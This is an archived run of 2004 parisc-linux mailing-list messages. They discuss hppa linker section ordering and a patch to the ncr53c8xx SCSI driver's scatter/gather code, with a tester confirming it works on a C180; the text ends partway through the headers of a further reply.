Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24845

On Mon, Jun 14, 2004 at 05:25:20AM +0200, Jakub Jelinek wrote:
> First of all, can you explain why hppa needs .got after .plt?

There's a lazy linking stub inserted at the end of the .plt section that
loads the .got address by

  b,l	1b,%r20
  depi	0,31,2,%r20

ie. it depends on .got immediately following these instructions.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ncr53c8xx patch for c110
Date: Fri, 18 Jun 2004 20:01:43 +0000
Lines: 314
Approved: news@gmane.org
Message-ID: <40D34A27.8060009@tiscali.be>
References: <40BD9F8700009BB8@ocpmta2.freegates.net>
	<1087569206.2078.13.camel@mulgrave> <40D30E3C.1010809@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------080503020707030400040406"
X-Trace: ger.gmane.org 1416624454 25468 80.91.229.3 (22 Nov 2014 02:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>,
 Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12688 invoked by uid 65534); 18 Jun 2004 19:59:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 18 Jun 2004 21:59:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 622D13BDFF; Fri, 18 Jun 2004 13:59:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13025-04; Fri, 18 Jun 2004 13:59:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4C5D03BE01; Fri, 18 Jun 2004 13:59:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C82A3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 13:59:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13025-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 13:59:28 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 41EF53BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 13:59:28 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 666494946A6; Fri, 18 Jun 2004 13:59:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP
	id 4005A494555; Fri, 18 Jun 2004 13:59:26 -0600 (MDT)
Original-Received: from [83.134.227.99] (helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BbPSP-0007dn-Qf; Fri, 18 Jun 2004 21:55:25 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040528 Debian/1.6-7
X-Accept-Language: en
In-Reply-To: <40D30E3C.1010809@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24846

This is a multi-part message in MIME format.
--------------080503020707030400040406
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello James & Grant,



Joel Soete wrote:
> 
> otc I trust that backporting sym_scatter() into ncr_scatter() is a fix 
> ;) (i was not very sure)
[snip]
> 
> 
> James Bottomley wrote:
> 
>> Could you try this.  It doesn't fix the problems in the ncr driver, but
>> it does force the block layer to respect the DISABLE_CLUSTERING flag.
>>
>> James
>>
>> ===== drivers/block/ll_rw_blk.c 1.244 vs edited =====
>> --- 1.244/drivers/block/ll_rw_blk.c    2004-05-29 11:18:19 -05:00
>> +++ edited/drivers/block/ll_rw_blk.c    2004-06-18 09:27:19 -05:00
>> @@ -850,7 +850,7 @@
>>              continue;
>>          }
>>  new_segment:
>> -        if (BIOVEC_VIRT_MERGEABLE(bvprv, bv) &&
>> +        if (cluster && BIOVEC_VIRT_MERGEABLE(bvprv, bv) &&
>>              !BIOVEC_VIRT_OVERSIZE(hw_seg_size + bv->bv_len)) {
>>              hw_seg_size += bv->bv_len;
>>          } else {
>>
>>
> 
I just test your patch and the following "backport" of sym_scatter in ncr53c8xx:
--- linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.h.orig   2004-06-18 20:30:09.000000000 +0200
+++ linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.h        2004-06-18 21:15:45.703972000 +0200
@@ -48,6 +48,18 @@

  #include "sym53c8xx_defs.h"

+/*
+       Build a scatter/gather entry.
+       see sym53c8xx_2/sym_hipd.h for more detailed sym_build_sge()
+       implementation ;)
+ */
+
+#define ncr_build_sge(np, data, badd, len)     \
+do {                                           \
+       (data)->addr = cpu_to_scr(badd);        \
+       (data)->size = cpu_to_scr(len);         \
+} while (0)
+
  /*==========================================================
  **
  **     Structures used by the detection routine to transmit
--- linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.c.orig   2004-05-30 01:28:20.000000000 +0200
+++ linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.c        2004-06-18 21:53:34.803972000 +0200
@@ -91,7 +91,7 @@
  */

  /* Name and version of the driver */
-#define SCSI_NCR_DRIVER_NAME   "ncr53c8xx-3.4.3e"
+#define SCSI_NCR_DRIVER_NAME   "ncr53c8xx-3.4.3f"

  #define SCSI_NCR_DEBUG_FLAGS   (0)

@@ -839,7 +839,7 @@
         struct scr_tblmove smsg  ;
         struct scr_tblmove cmd   ;
         struct scr_tblmove sense ;
-       struct scr_tblmove data [MAX_SCATTER];
+       struct scr_tblmove data[MAX_SCATTER];
  };


@@ -3845,7 +3845,7 @@

         direction = scsi_data_direction(cmd);
         if (direction != SCSI_DATA_NONE) {
-               segments = ncr_scatter (np, cp, cp->cmd);
+               segments = ncr_scatter(np, cp, cp->cmd);
                 if (segments < 0) {
                         ncr_free_ccb(np, cp);
                         return(DID_ERROR);
@@ -7575,44 +7575,57 @@
  **     sizes to the data segment array.
  */

-static int     ncr_scatter(struct ncb *np, struct ccb *cp, struct scsi_cmnd *cmd)
+static int ncr_scatter_no_sglist(struct ncb *np, struct ccb *cp, struct scsi_cmnd *cmd)
  {
-       struct scr_tblmove *data;
-       int segment     = 0;
-       int use_sg      = (int) cmd->use_sg;
+       struct scr_tblmove *data = &cp->phys.data[MAX_SCATTER - 1];
+       int segment;

-       data            = cp->phys.data;
-       cp->data_len    = 0;
+       cp->data_len = cmd->request_bufflen;

-       if (!use_sg) {
-               if (cmd->request_bufflen) {
-                       u_long baddr = map_scsi_single_data(np, cmd);
-
-                       data = &data[MAX_SCATTER - 1];
-                       data[0].addr = cpu_to_scr(baddr);
-                       data[0].size = cpu_to_scr(cmd->request_bufflen);
-                       cp->data_len = cmd->request_bufflen;
+       if (cmd->request_bufflen) {
+               dma_addr_t baddr = map_scsi_single_data(np, cmd);
+               if (baddr) {
+                       ncr_build_sge(np, data, baddr, cmd->request_bufflen);
                         segment = 1;
+               } else {
+                       segment = -2;
                 }
+       } else {
+               segment = 0;
         }
-       else if (use_sg <= MAX_SCATTER) {
+
+       return segment;
+}
+
+static int ncr_scatter(struct ncb *np, struct ccb *cp, struct scsi_cmnd *cmd)
+{
+       int segment     = 0;
+       int use_sg      = (int) cmd->use_sg;
+
+       cp->data_len    = 0;
+
+       if (!use_sg)
+               segment = ncr_scatter_no_sglist(np, cp, cmd);
+       else if ((use_sg = map_scsi_sg_data(np, cmd)) > 0) {
                 struct scatterlist *scatter = (struct scatterlist *)cmd->buffer;
+               struct scr_tblmove *data;
+
+               if (use_sg > MAX_SCATTER) {
+                       unmap_scsi_data(np, cmd);
+                       return -1;
+               }
+
+               data = &cp->phys.data[MAX_SCATTER - use_sg];

-               use_sg = map_scsi_sg_data(np, cmd);
-               data = &data[MAX_SCATTER - use_sg];
+               for (segment = 0; segment < use_sg; segment++) {
+                       dma_addr_t baddr = sg_dma_address(&scatter[segment]);
+                       unsigned int len = sg_dma_len(&scatter[segment]);

-               while (segment < use_sg) {
-                       u_long baddr = scsi_sg_dma_address(&scatter[segment]);
-                       unsigned int len = scsi_sg_dma_len(&scatter[segment]);
-
-                       data[segment].addr = cpu_to_scr(baddr);
-                       data[segment].size = cpu_to_scr(len);
-                       cp->data_len      += len;
-                       ++segment;
+                       ncr_build_sge(np, &data[segment], baddr, len);
+                       cp->data_len += len;
                 }
-       }
-       else {
-               return -1;
+       } else {
+               segment = -2;
         }

         return segment;
=========><=========

And all works fine now for me. Unfortunately I don't have other model (C, D, R, J or K) using the same driver to test it more :(

I don't have any cvs ci access, so if there are no negative feedback can somebody ci.

Thanks in advance,
	Joel

PS: I just noticed that this cut&past didn't respect my patch tabs (became 8 space) so I attache also the original diff file 
(sorry for inconvenience

--------------080503020707030400040406
Content-Type: text/plain;
 name="ncr53c8xx.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ncr53c8xx.diff"

--- linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.h.orig	2004-06-18 20:30:09.000000000 +0200
+++ linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.h	2004-06-18 21:15:45.703972000 +0200
@@ -48,6 +48,18 @@
 
 #include "sym53c8xx_defs.h"
 
+/*
+	Build a scatter/gather entry.
+	see sym53c8xx_2/sym_hipd.h for more detailed sym_build_sge()
+	implementation ;)
+ */
+
+#define ncr_build_sge(np, data, badd, len)	\
+do {						\
+	(data)->addr = cpu_to_scr(badd);	\
+	(data)->size = cpu_to_scr(len);		\
+} while (0)
+
 /*==========================================================
 **
 **	Structures used by the detection routine to transmit 
--- linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.c.orig	2004-05-30 01:28:20.000000000 +0200
+++ linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.c	2004-06-18 21:53:34.803972000 +0200
@@ -91,7 +91,7 @@
 */
 
 /* Name and version of the driver */
-#define SCSI_NCR_DRIVER_NAME	"ncr53c8xx-3.4.3e"
+#define SCSI_NCR_DRIVER_NAME	"ncr53c8xx-3.4.3f"
 
 #define SCSI_NCR_DEBUG_FLAGS	(0)
 
@@ -839,7 +839,7 @@
 	struct scr_tblmove smsg  ;
 	struct scr_tblmove cmd   ;
 	struct scr_tblmove sense ;
-	struct scr_tblmove data [MAX_SCATTER];
+	struct scr_tblmove data[MAX_SCATTER];
 };
 
 
@@ -3845,7 +3845,7 @@
 
 	direction = scsi_data_direction(cmd);
 	if (direction != SCSI_DATA_NONE) {
-		segments = ncr_scatter (np, cp, cp->cmd);
+		segments = ncr_scatter(np, cp, cp->cmd);
 		if (segments < 0) {
 			ncr_free_ccb(np, cp);
 			return(DID_ERROR);
@@ -7575,44 +7575,57 @@
 **	sizes to the data segment array.
 */
 
-static	int	ncr_scatter(struct ncb *np, struct ccb *cp, struct scsi_cmnd *cmd)
+static int ncr_scatter_no_sglist(struct ncb *np, struct ccb *cp, struct scsi_cmnd *cmd)
 {
-	struct scr_tblmove *data;
-	int segment	= 0;
-	int use_sg	= (int) cmd->use_sg;
+	struct scr_tblmove *data = &cp->phys.data[MAX_SCATTER - 1];
+	int segment;
 
-	data		= cp->phys.data;
-	cp->data_len	= 0;
+	cp->data_len = cmd->request_bufflen;
 
-	if (!use_sg) {
-		if (cmd->request_bufflen) {
-			u_long baddr = map_scsi_single_data(np, cmd);
-
-			data = &data[MAX_SCATTER - 1];
-			data[0].addr = cpu_to_scr(baddr);
-			data[0].size = cpu_to_scr(cmd->request_bufflen);
-			cp->data_len = cmd->request_bufflen;
+	if (cmd->request_bufflen) {
+		dma_addr_t baddr = map_scsi_single_data(np, cmd);
+		if (baddr) {
+			ncr_build_sge(np, data, baddr, cmd->request_bufflen);
 			segment = 1;
+		} else {
+			segment = -2;
 		}
+	} else {
+		segment = 0;
 	}
-	else if (use_sg <= MAX_SCATTER) {
+
+	return segment;
+}
+
+static int ncr_scatter(struct ncb *np, struct ccb *cp, struct scsi_cmnd *cmd)
+{
+	int segment	= 0;
+	int use_sg	= (int) cmd->use_sg;
+
+	cp->data_len	= 0;
+
+	if (!use_sg)
+		segment = ncr_scatter_no_sglist(np, cp, cmd);
+	else if ((use_sg = map_scsi_sg_data(np, cmd)) > 0) {
 		struct scatterlist *scatter = (struct scatterlist *)cmd->buffer;
+		struct scr_tblmove *data;
+
+		if (use_sg > MAX_SCATTER) {
+			unmap_scsi_data(np, cmd);
+			return -1;
+		}
+
+		data = &cp->phys.data[MAX_SCATTER - use_sg];
 
-		use_sg = map_scsi_sg_data(np, cmd);
-		data = &data[MAX_SCATTER - use_sg];
+		for (segment = 0; segment < use_sg; segment++) {
+			dma_addr_t baddr = sg_dma_address(&scatter[segment]);
+			unsigned int len = sg_dma_len(&scatter[segment]);
 
-		while (segment < use_sg) {
-			u_long baddr = scsi_sg_dma_address(&scatter[segment]);
-			unsigned int len = scsi_sg_dma_len(&scatter[segment]);

From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ncr53c8xx patch for c110
Date: Sun, 20 Jun 2004 07:55:09 +0200 (CEST)
Lines: 206
Approved: news@gmane.org
Message-ID: <38934.127.0.0.1.1087710909.squirrel@www.puszczka.com>
References: <40BD9F8700009BB8@ocpmta2.freegates.net><1087569206.2078.13.camel@mulgrave>
	<40D30E3C.1010809@tiscali.be> <40D34A27.8060009@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624454 25475 80.91.229.3 (22 Nov 2014 02:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30928 invoked by uid 65534); 20 Jun 2004 05:39:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 20 Jun 2004 07:39:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2D4883BDF8; Sat, 19 Jun 2004 23:39:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01218-01; Sat, 19 Jun 2004 23:39:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 62E873BDE8; Sat, 19 Jun 2004 23:38:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F5123BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 23:38:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00730-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 23:38:52 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 149BB3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 23:38:52 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 060D04946A6; Sat, 19 Jun 2004 23:38:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by palinux.hppa (Postfix) with ESMTP
	id DDC63494555; Sat, 19 Jun 2004 23:38:49 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (93.80-203-39.nextgentel.com
	[80.203.39.93]) by mail.broadpark.no (Postfix) with ESMTP
	id 181842A8D; Sun, 20 Jun 2004 07:39:12 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id AD5BD7B13; Sun, 20 Jun 2004 07:55:09 +0200 (CEST)
Original-Received: from 127.0.0.1 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Sun, 20 Jun 2004 07:55:09 +0200 (CEST)
In-Reply-To: <40D34A27.8060009@tiscali.be>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24847

> Hello James & Grant,
> Joel Soete wrote:
>>
>> otc I trust that backporting sym_scatter() into ncr_scatter() is a fix
>> ;) (i was not very sure)
> [snip]
>>
>>
>> James Bottomley wrote:
>>
>>> Could you try this.  It doesn't fix the problems in the ncr driver, but
>>> it does force the block layer to respect the DISABLE_CLUSTERING flag.
>>>
>>> James
>>>
>>> ===== drivers/block/ll_rw_blk.c 1.244 vs edited =====
>>> --- 1.244/drivers/block/ll_rw_blk.c    2004-05-29 11:18:19 -05:00
>>> +++ edited/drivers/block/ll_rw_blk.c    2004-06-18 09:27:19 -05:00
>>> @@ -850,7 +850,7 @@
>>>              continue;
>>>          }
>>>  new_segment:
>>> -        if (BIOVEC_VIRT_MERGEABLE(bvprv, bv) &&
>>> +        if (cluster && BIOVEC_VIRT_MERGEABLE(bvprv, bv) &&
>>>              !BIOVEC_VIRT_OVERSIZE(hw_seg_size + bv->bv_len)) {
>>>              hw_seg_size += bv->bv_len;
>>>          } else {
>>>
>>>
>>
> I just test your patch and the following "backport" of sym_scatter in
> ncr53c8xx:
> --- linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.h.orig   2004-06-18
> 20:30:09.000000000 +0200
> +++ linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.h        2004-06-18
> 21:15:45.703972000 +0200
> @@ -48,6 +48,18 @@
>
>   #include "sym53c8xx_defs.h"
>
> +/*
> +       Build a scatter/gather entry.
> +       see sym53c8xx_2/sym_hipd.h for more detailed sym_build_sge()
> +       implementation ;)
> + */
> +
> +#define ncr_build_sge(np, data, badd, len)     \
> +do {                                           \
> +       (data)->addr = cpu_to_scr(badd);        \
> +       (data)->size = cpu_to_scr(len);         \
> +} while (0)
> +
>   /*==========================================================
>   **
>   **     Structures used by the detection routine to transmit
> --- linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.c.orig   2004-05-30
> 01:28:20.000000000 +0200
> +++ linux-2.6.7-pa1-wrk/drivers/scsi/ncr53c8xx.c        2004-06-18
> 21:53:34.803972000 +0200
> @@ -91,7 +91,7 @@
>   */
>
>   /* Name and version of the driver */
> -#define SCSI_NCR_DRIVER_NAME   "ncr53c8xx-3.4.3e"
> +#define SCSI_NCR_DRIVER_NAME   "ncr53c8xx-3.4.3f"
>
>   #define SCSI_NCR_DEBUG_FLAGS   (0)
>
> @@ -839,7 +839,7 @@
>          struct scr_tblmove smsg  ;
>          struct scr_tblmove cmd   ;
>          struct scr_tblmove sense ;
> -       struct scr_tblmove data [MAX_SCATTER];
> +       struct scr_tblmove data[MAX_SCATTER];
>   };
>
>
> @@ -3845,7 +3845,7 @@
>
>          direction = scsi_data_direction(cmd);
>          if (direction != SCSI_DATA_NONE) {
> -               segments = ncr_scatter (np, cp, cp->cmd);
> +               segments = ncr_scatter(np, cp, cp->cmd);
>                  if (segments < 0) {
>                          ncr_free_ccb(np, cp);
>                          return(DID_ERROR);
> @@ -7575,44 +7575,57 @@
>   **     sizes to the data segment array.
>   */
>
> -static int     ncr_scatter(struct ncb *np, struct ccb *cp, struct
> scsi_cmnd *cmd)
> +static int ncr_scatter_no_sglist(struct ncb *np, struct ccb *cp, struct
> scsi_cmnd *cmd)
>   {
> -       struct scr_tblmove *data;
> -       int segment     = 0;
> -       int use_sg      = (int) cmd->use_sg;
> +       struct scr_tblmove *data = &cp->phys.data[MAX_SCATTER - 1];
> +       int segment;
>
> -       data            = cp->phys.data;
> -       cp->data_len    = 0;
> +       cp->data_len = cmd->request_bufflen;
>
> -       if (!use_sg) {
> -               if (cmd->request_bufflen) {
> -                       u_long baddr = map_scsi_single_data(np, cmd);
> -
> -                       data = &data[MAX_SCATTER - 1];
> -                       data[0].addr = cpu_to_scr(baddr);
> -                       data[0].size = cpu_to_scr(cmd->request_bufflen);
> -                       cp->data_len = cmd->request_bufflen;
> +       if (cmd->request_bufflen) {
> +               dma_addr_t baddr = map_scsi_single_data(np, cmd);
> +               if (baddr) {
> +                       ncr_build_sge(np, data, baddr,
> cmd->request_bufflen);
>                          segment = 1;
> +               } else {
> +                       segment = -2;
>                  }
> +       } else {
> +               segment = 0;
>          }
> -       else if (use_sg <= MAX_SCATTER) {
> +
> +       return segment;
> +}
> +
> +static int ncr_scatter(struct ncb *np, struct ccb *cp, struct scsi_cmnd
> *cmd)
> +{
> +       int segment     = 0;
> +       int use_sg      = (int) cmd->use_sg;
> +
> +       cp->data_len    = 0;
> +
> +       if (!use_sg)
> +               segment = ncr_scatter_no_sglist(np, cp, cmd);
> +       else if ((use_sg = map_scsi_sg_data(np, cmd)) > 0) {
>                  struct scatterlist *scatter = (struct scatterlist
> *)cmd->buffer;
> +               struct scr_tblmove *data;
> +
> +               if (use_sg > MAX_SCATTER) {
> +                       unmap_scsi_data(np, cmd);
> +                       return -1;
> +               }
> +
> +               data = &cp->phys.data[MAX_SCATTER - use_sg];
>
> -               use_sg = map_scsi_sg_data(np, cmd);
> -               data = &data[MAX_SCATTER - use_sg];
> +               for (segment = 0; segment < use_sg; segment++) {
> +                       dma_addr_t baddr =
> sg_dma_address(&scatter[segment]);
> +                       unsigned int len = sg_dma_len(&scatter[segment]);
>
> -               while (segment < use_sg) {
> -                       u_long baddr =
> scsi_sg_dma_address(&scatter[segment]);
> -                       unsigned int len =
> scsi_sg_dma_len(&scatter[segment]);
> -
> -                       data[segment].addr = cpu_to_scr(baddr);
> -                       data[segment].size = cpu_to_scr(len);
> -                       cp->data_len      += len;
> -                       ++segment;
> +                       ncr_build_sge(np, &data[segment], baddr, len);
> +                       cp->data_len += len;
>                  }
> -       }
> -       else {
> -               return -1;
> +       } else {
> +               segment = -2;
>          }
>
>          return segment;
> =========><=========
>
> And all works fine now for me. Unfortunately I don't have other model (C,
> D, R, J or K) using the same driver to test it more :(
>
> I don't have any cvs ci access, so if there are no negative feedback can
> somebody ci.
>
> Thanks in advance,
> 	Joel

Hi folks,

Excellent! Just tried this patch on my C180 and can confirm it works.
I'll give it a spin on the B132L too - but the box is heavily tied up
compiling today.

Thanks for working on this Joel.

-Andy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ncr53c8xx patch for c110
Date: Sun, 20 Jun 2004 01:28:52 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20040620072852.GC18353@colo.lackof.org>
References: <40BD9F8700009BB8@ocpmta2.freegates.net>
	<1087569206.2078.13.camel@mulgrave>
	<40D30E3C.1010809@tiscali.be> <40D34A27.8060009@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624455 25482 80.91.229.3 (22 Nov 2014 02:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:35 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17206 invoked by uid 65534); 20 Jun 2004 07:30:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 20 Jun 2004 09:30:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D54783BDCF; Sun, 20 Jun 2004 01:30:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02592-08; Sun, 20 Jun 2004 01:30:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6ED623BDE8; Sun, 20 Jun 2004 01:28:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1073C3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 01:28:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
